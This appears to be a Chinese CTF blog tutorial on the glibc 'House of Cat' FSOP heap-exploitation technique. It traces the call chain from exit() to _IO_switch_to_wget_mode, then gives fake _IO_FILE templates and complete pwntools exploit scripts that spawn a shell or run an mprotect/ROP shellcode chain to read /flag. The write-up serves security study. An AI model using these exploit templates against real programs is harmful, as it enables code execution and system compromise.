深入理解 House of Cat

Index

    • 序言
    • 利用 FSOP 调用 House of Cat
      • 利用条件
      • 伪造IO流条件
      • 完整调用链分析
    • 模板
      • System (one_gadget) 模板
      • ORW模板
    • Demo & Exp
    • 利用 __malloc_assert 调用 House of Cat
    • 例题:
      • 题目
      • 思路
      • Exp

序言

原文章:深入理解 House of Cat

随着 GNU 持续不断的更新,在 Glibc 2.34,__free_hook 以及 __malloc_hook 和其他一系列 hook 函数全部被移除,意味着如果题目开了 Full RELRO,我们几乎无从下手…?

事实上,我们还有 _IO_FILE 结构体可以进行利用。但是随着 GNU 的更新,_IO_FILE 结构体的利用方式也逐渐开始被封杀。本篇文章会深入分析一种 _IO_FILE 的利用方式 — House of Cat。

House of Cat 可以在任意版本利用,但是三种触发方式,有一种从高版本被移出Libc, _malloc_assert 在 Glibc 2.35 之后被移除,目前只剩下一种利用方式仍然可以打任意版本:FSOP。

利用 FSOP 调用 House of Cat

FSOP,全称 File Stream Oriented Programming,是一种通过伪造 _IO_FILE 结构体来实现的攻击,FSOP的完整调用链如下(仅包含关键函数):

exit() --> __run_exit_handlers --> _IO_cleanup --> _IO_flush_all_lockp --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode --> _IO_switch_to_wget_mode 的 call rax。

利用条件

  1. 能够写一个可控地址

  2. 能够泄露堆地址以及Libc基址

  3. 能够触发IO流(FSOP,__malloc_assert)

伪造IO流条件

  1. _IO_save_base > 0

  2. _IO_write_ptr > _IO_write_base

  3. mode > 0 (mode = 1)

完整调用链分析

exit() 函数会调用 __run_exit_handlers 进行收尾工作,在处理 _IO_FILE 结构体时,会调用 _IO_cleanup 函数。

在这里插入图片描述
在这里插入图片描述

而 _IO_cleanup 函数的内部又调用了 _IO_flush_all_lockp 函数。_IO_flush_all_lockp 函数会刷新链表 _IO_list_all 中的所有项。相当于为每个 _IO_FILE 结构体调用 fflush ,同时也调用了 _IO_FILE_plus.vtable 中的 _IO_overflow 。

在这里插入图片描述
在这里插入图片描述

_IO_OVERFLOW 实际上是一个宏定义函数,展开如下:

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

实际上调用 _IO_OVERFLOW 宏就是先调用 JUMP1 宏先调用 _IO_JUMPS_FUNC 宏,_IO_JUMPS_FUNC 会先调用 IO_validate_vtable 函数来检测一遍对应虚函数的偏移是否位于一个合理区间,如果不合理会直接抛出致命错误然后退出程序。

在这里插入图片描述
在这里插入图片描述

通过劫持 vtable 指向的函数到我们所需的特定函数: _IO_wfile_seekoff 我们得以进行利用。

为什么一定要是 _IO_wfile_seekoff 呢?在上文我们调用 _IO_flush_all_lockp 时,存在这么几个条件令我们得以成功调用 _IO_OVERFLOW 宏。

在这里插入图片描述

也就是:

  1. _IO_FILE 结构体的 mode 必须大于0

  2. _wide_data 指向的 _IO_FILE 结构体的 _IO_write_ptr 必须大于 _IO_write_base

  3. vtable 的偏移必须为0

这三个条件都是可以达成的,我们可以通过伪造 _IO_FILE 结构体实现,再看看 _IO_wfile_seekoff 函数。

在这里插入图片描述

眼熟吗?_wide_data 指向的 _IO_FILE 结构体的 _IO_write_ptr 必须大于 _IO_write_base,mode 大于0。刚好全部满足。

我们伪造的条件会使得我们进入最底下的语句。

  if (was_writing && _IO_switch_to_wget_mode (fp))
    return WEOF;

我们来查看 _IO_switch_to_wget_mode 做了什么事。

在这里插入图片描述

然后劫持 _IO_WOVERFLOW 的地址我们就可以做到直接GetShell或者ORW。

在这里插入图片描述

_IO_switch_to_wget_mode 中存在这么几条汇编代码:

<_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
<_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
<_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]

<_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]

而 _IO_switch_to_wget_mode 的RDI寄存器刚好是我们的 _IO_FILE 结构体的地址。

在这里插入图片描述

那么利用链就很清晰了:

exit() --> __run_exit_handlers --> _IO_cleanup --> _IO_flush_all_lockp --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode --> _IO_switch_to_wget_mode 的 call rax。

我们只需要构造(覆写)_IO_FILE 结构体,即可完成利用。

模板

Pwntools 自带的 FileStrcture 不带 _mode,无法拿来写模板。

这里使用的是 RoderickChan 师傅的 pwncli 库中的 IO_FILE_plus_struct 类,我把这个类提取出来放到自己的库里了。

System (one_gadget) 模板

fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']  # 伪造的fake_IO结构体的地址

Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system)                                       # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)

Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40)                                      # mov    rax, qword ptr [rax + 0xe0]

ORW模板

Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(setcontext)                                   # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)

Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40)                                      # mov    rax, qword ptr [rax + 0xe0]
Fake_IO_File_Structure = Fake_IO_File_Structure.ljust(0x120, b'\x00') + p64(fake_io_addr + 0x128) + p64(ret)
rop = p64(rdi) + p64((fake_io_addr >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx_r12) + p64(7) * 2 + p64(mprotect) + p64(fake_io_addr + 0x178) + asm(shellcraft.cat('/flag'))

Fake_IO_File_Structure += rop

为什么需要设置 _IO_save_base 为1?

在 _IO_flush_all_lockp 函数中,有这2句代码:

<_IO_flush_all_lockp+183>    mov    rcx, qword ptr [rax + 0x18]         RCX, [_IO_2_1_stderr_+72] => 1
<_IO_flush_all_lockp+187>    cmp    qword ptr [rax + 0x20], rcx         0x7f93da3c4720 - 0x1     EFLAGS => 0x212 [ cf pf AF zf sf IF df of ]

这里会调用 _IO_2_1_stderr+72 ,也就是 _IO_save_base 的内容,并赋值给RCX寄存器。

在下文中,如果RCX寄存器为0,就会跳转到另一端代码执行:

<_IO_wfile_seekoff+48>    test   ecx, ecx                        1 & 1     EFLAGS => 0x202 [ cf pf af zf sf IF df of ]
<_IO_wfile_seekoff+50>    je     _IO_wfile_seekoff+1080      <_IO_wfile_seekoff+1080>

 
<_IO_wfile_seekoff+1080>    cmp    qword ptr [rax + 0x30], 0       0 - 0     EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]
<_IO_wfile_seekoff+1085>  ✔ je     _IO_wfile_seekoff+1504      <_IO_wfile_seekoff+1504>

这里上面两句对应的是

  if (mode == 0)
    return do_ftell_wide (fp);

可以从汇编看出来
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
当RCX为0时,程序进入了这段 if 语句。执行了 do_ftell_wide 函数,如果进入了 do_ftell_wide ,则不会执行我们想要劫持到的函数 _IO_switch_to_wget_mode 。

想劫持到哪就直接替换 _IO_save_end 指向的内容即可。

Demo & Exp

Libc:
在这里插入图片描述

#include <stdio.h>

int main()
{
    puts("Gift");
    printf("Address of puts: %p\n", (void*)&puts);
    puts("Address showed.");

    read(0, (void*)stderr, 0x1000);

    return 0;
}
from PwnModules import *

io, elf = get_utils('./demo.out', True, 'node5.anna.nssctf.cn', 23749)
init_env()
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35/libc.so.6')

io.recvuntil(b'puts: ')
libc_base = recv_int_addr(io, 14) - libc.sym['puts']
show_addr('Addr: ', libc_base)

ret = libc_base + 0x29cd6
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f497
mprotect = libc_base + libc.sym['mprotect']
setcontext = libc_base + libc.sym['setcontext'] + 61
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']  # 伪造的fake_IO结构体的地址

# ORW 就取消掉 setcontext 等的注释即可。

Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system) # p64(setcontext)                                   # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)

Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40)                                      # mov    rax, qword ptr [rax + 0xe0]
Fake_IO_File_Structure = Fake_IO_File_Structure.ljust(0x120, b'\x00') # + p64(fake_io_addr + 0x128) + p64(ret)
# rop = p64(rdi) + p64((fake_io_addr >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx_r12) + p64(7) * 2 + p64(mprotect) + p64(fake_io_addr + 0x178) + asm(shellcraft.cat('/flag'))

# Fake_IO_File_Structure += rop

show_addr('_IO_2_1_stderr_: ', fake_io_addr)
show_addr('_IO_2_1_stdout_', libc_base + libc.sym['_IO_2_1_stdout_'])

io.send(Fake_IO_File_Structure)

io.interactive()

在这里插入图片描述

利用 __malloc_assert 调用 House of Cat

调用方式变成直接攻击 Top Chunk 即可。

满足以下三个条件之一即可触发 __malloc_assert

Top Chunk 的大小小于 MINSIZE(0x20)

Prev Inuse 位为0

Old_Top 页未对齐

例题:

题目

[NSSRound#14 Basic]Girlfriends’ notebooks

思路

使用 House of Orange 的思路,伪造 Top Chunk 的 size,释放旧 Top Chunk,泄露Libc基址

然后打 House of Cat 使用 ORW 输出 Flag。

Exp

from PwnModules import *

io, elf = get_utils('./Girlfriendsnotebooks', True, 'node5.anna.nssctf.cn', 23749)
init_env()
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35/libc.so.6')


def add(idx, size, data):
    io.sendlineafter(b': ', b'1')
    io.sendlineafter(b': ', str(idx))
    io.sendlineafter(b': ', str(size))
    io.sendafter(b': ', data)


def show(idx):
    io.sendlineafter(b': ', b'2')
    io.sendlineafter(b': ', str(idx))


def edit(idx, data):
    io.sendlineafter(b': ', b'4')
    io.sendlineafter(b': ', str(idx))
    io.sendafter(b': ', data)


add(4, 0x108, p64(0) * 33 + p64(0xf51))
add(5, 0x1000, b'a' * 8)
add(6, 0xf00, b'a' * 8)
show(6)

libc_base = leak_addr(2, io) - 0x21a2f0
show_addr('Addr: ', libc_base)

ret = libc_base + 0x29cd6
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f497
mprotect = libc_base + libc.sym['mprotect']
setcontext = libc_base + libc.sym['setcontext'] + 61

fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']  # 伪造的fake_IO结构体的地址
Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(setcontext)                                   # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)

Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40)                                      # mov    rax, qword ptr [rax + 0xe0]
Fake_IO_File_Structure = Fake_IO_File_Structure.ljust(0x120, b'\x00') + p64(fake_io_addr + 0x128) + p64(ret)

rop = p64(rdi) + p64((fake_io_addr >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx_r12) + p64(7) * 2 + p64(mprotect) + p64(fake_io_addr + 0x178) + asm(shellcraft.cat('/flag'))

Fake_IO_File_Structure += rop

show_addr('Addr: ', fake_io_addr)

# debug(io)
edit(-4, Fake_IO_File_Structure)

io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/632354.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

GeoServer /geoserver/wms RCE漏洞复现(CVE-2022-24816)

0x01 产品简介 GeoServer是一款开源的地理数据服务器软件,主要用于发布、共享和处理各种地理空间数据。它支持众多的地图和空间数据标准,能够使各种设备通过网络来浏览和使用这些地理信息数据。 0x02 漏洞概述 GeoServer /geoserver/wms 接口处存在远程代码执行漏洞,未经…

好看的html网站维护源码

源码介绍 好看的html网站维护源码&#xff0c;源码由HTMLCSSJS组成&#xff0c;记事本打开源码文件可以进行内容文字之类的修改&#xff0c;双击html文件可以本地运行效果&#xff0c;也可以上传到服务器里面&#xff0c; 源码截图 源码下载 好看的html网站维护源码

Blender学习入门:让图片动起来

Blender简介 Blender 是一款开源的三维计算机图形软件&#xff0c;它提供了广泛的功能&#xff0c;包括建模、动画、渲染、视频编辑等。Blender还支持Python编程接口&#xff0c;允许用户通过编写脚本来控制和定制软件的各个方面。 Blender的功能非常强大&#xff0c;它被广泛…

为何Linux成为你不可或缺的技能

在数字化飞速发展的今天&#xff0c;无论你是IT行业的精英&#xff0c;还是其他领域的专业人士&#xff0c;掌握Linux都已经成为一项至关重要的技能。那么&#xff0c;为什么一定要学会Linux呢&#xff1f;以下文章仅供参考 1. 开源的力量&#xff1a;无限的可能性 Linux是一…

02 VUE学习:模板语法

模板语法 Vue 使用一种基于 HTML 的模板语法&#xff0c;使我们能够声明式地将其组件实例的数据绑定到呈现的 DOM 上。所有的 Vue 模板都是语法层面合法的 HTML&#xff0c;可以被符合规范的浏览器和 HTML 解析器解析。 在底层机制中&#xff0c;Vue 会将模板编译成高度优化的…

【Altium】AD-检查原理图中元器件未连接的Passive Pin

1、 文档目标 如何让原理图编译时找出元器件上未连接的Passive Pin 2、 问题场景 当引脚属性&#xff08;Pin type&#xff09;为passive时&#xff0c;原理图编译的默认规则是不会去检查它们是否有连接的。在实际设计过程中&#xff0c;经常会有导线虚连&#xff0c;漏连的事…

今日分享【Vue3基础知识】

常用地址及工具&#xff1a; [vue3官网] https://cn.vuejs.org/ vue3官网[setup 基本使用] https://juejin.cn/post/7002490039066165279 setup基本使用[vite中文官网] https://cn.vitejs.dev/ Vite官网 1、如何使用vue3 vite //要构建一个 Vite Vue 项目&#xff0c;运行…

react18【系列实用教程】useMemo —— 缓存数据 (2024最新版)

为什么添加了 memo &#xff0c;子组件2依然重新渲染了呢&#xff1f; 因为父组件向子组件2传递了引用类型的数据 const userInfo {name: "朝阳",};<Child2 userInfo{userInfo} />memo() 函数的本质是通过校验Props中数据的内存地址是否改变来决定组件是否重新…

实战10:基于机器学习参数优化的疾病预测实战-完整代码数据-计算机毕设

直接看演示视频: 基于机器学习参数优化的疾病预测实战-完整代码数据-计算机毕设 直接看实验结果: 数据: 没加参数优化之前的模型效果: 优化之后的效果: 数据分析:

5月17日世界电信日:共筑数字桥梁,深圳市企讯通科技引领通讯创新潮流

在全球信息化浪潮中&#xff0c;每年的5月17日被赋予了非凡的意义——“世界电信日”。这不仅仅是全球电信业发展成果展示与未来趋势探讨的盛会&#xff0c;更是对未来通信领域无限可能的展望。自1969年设立以来&#xff0c;世界电信日不断激励着各国在信息通信技术&#xff08…

618好物推荐大赏:2024年必囤好物一网打尽,购物攻略助你抢购无忧!

在618购物狂欢节来临之际&#xff0c;我为大家精心挑选了一系列好物&#xff0c;它们不仅品质卓越&#xff0c;更能在日常生活中为我们带来无限便利与乐趣。这里的每一款产品都经过我严格筛选&#xff0c;只为给你最优质的购物体验。让我们一起在这个618&#xff0c;发现生活中…

【编程题-错题集】kotori和气球(组合数学)

牛客对应题目链接&#xff1a;kotori和气球 (nowcoder.com) 一、分析题目 简单的排列组合问题&#xff0c;结果等于 n 与 m-1 个 n - 1 的乘积。 二、代码 //值得学习的代码 #include <iostream>using namespace std;const int MOD 109;int main() {int n, m;cin >…

Redis基于Redisson的限流和限流算法

限流 限流是在高并发或者某个瞬间高并发时&#xff0c;为了保证系统的稳定性&#xff0c;对超出服务处理能力之外的请求进行拦截&#xff0c;对访问服务的流量进行限制。 常见的限流算法有四种&#xff1a;固定窗口限流算法、滑动窗口限流算法、漏桶限流算法和令牌桶限流算法…

为何要使用静态或动态住宅IP代理来运营亚马逊?

跨境电商作为当前主流的行业&#xff0c;在运营亚马逊等跨境电商平台时&#xff0c;使用静态或动态住宅IP代理成为了一个重要的策略。这种策略不仅有助于提升运营效率&#xff0c;还能在一定程度上保护卖家的隐私和账号安全。 静态住宅IP代理在亚马逊运营中的优势。 静态住宅I…

亚马逊Prime Day旺季备货遭遇美国海关查验高峰,应对策略全攻略!

随着全球化贸易的日益繁荣&#xff0c;跨境电商企业在旺季备货时面临着巨大的挑战&#xff0c;尤其是当遇到美国海关查验潮时&#xff0c;如何应对成为众多商家关注的焦点。本文将从分析美国海关查验的原因入手&#xff0c;为商家提供一系列应对策略和建议。 一、美国海关查验潮…

FENDI CLUB啤酒,为何女生喜欢?

精酿啤酒已经成了女生喜欢的饮品&#xff0c;在日剧《无法成为野兽的我们》里&#xff0c;主人公小晶永远保持标准笑容&#xff0c;完美完成所有的工作。只有一个人的时候&#xff0c;她才会放下习惯性的微笑&#xff0c;显露自己的疲惫。小晶缓解疲惫&#xff0c;就是下班后去…

利用if-else,while-do,case-end的存储过程

生成一个student表&#xff0c;要求有id&#xff0c;createDate&#xff0c;userName&#xff0c;phone&#xff0c;age&#xff0c;sex&#xff0c;introduce。只需要返回DDL CREATE TABLE student (id INT PRIMARY KEY AUTO_INCREMENT, -- 假设ID为主键且自动增长createDat…

USB2.0协议解读

一、说明 本文以Universal Serial Bus Specification Revision 2.0 April 27, 2000内容为准。 USB2.0支持三种速率&#xff0c;High speed&#xff08;480Mb/s500ppm&#xff09;、Full speed&#xff08;12Mb/s2500ppm&#xff09;以及Low speed&#xff08;1.5Mb/s1.5%&…

通过gen_compile_commands.py产生compile_commands.json文件的方法

大家在使用vscode查看linux源代码时&#xff0c;会有很多飘红处&#xff0c;而且函数的跳转非常不方便。所以linux给了一个脚本gen_compile_commands.py&#xff0c;此脚本类似ctags这样&#xff0c;产生相应的关联之类的数据库&#xff0c;方便函数及文件的跳转等等。非常好。…

GPT-4o 引领人机交互新风向的向量数据库Milvus Cloud 成本

成本 AIGC 时代对于冷热储存的呼唤 成本一直是向量数据库获得更广泛使用的最大阻碍之一,这个成本来自两点: 储存,绝大多数向量数据库为了保证低延迟,需要把数据全量缓存到内存或者本地磁盘。在这个动辄百亿量级的AI 时代,意味着几十上百 TB 的资源消耗。 计算,数据需…